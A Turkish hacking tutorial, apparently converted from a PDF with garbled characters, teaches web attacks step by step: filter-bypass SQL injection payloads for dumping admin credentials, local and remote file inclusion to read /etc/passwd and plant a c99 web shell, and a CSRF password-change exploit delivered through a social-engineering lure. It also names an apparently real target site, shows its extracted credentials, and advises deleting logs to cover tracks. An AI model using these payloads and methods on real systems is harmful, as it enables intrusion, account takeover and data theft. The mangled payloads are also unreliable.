wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 21: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

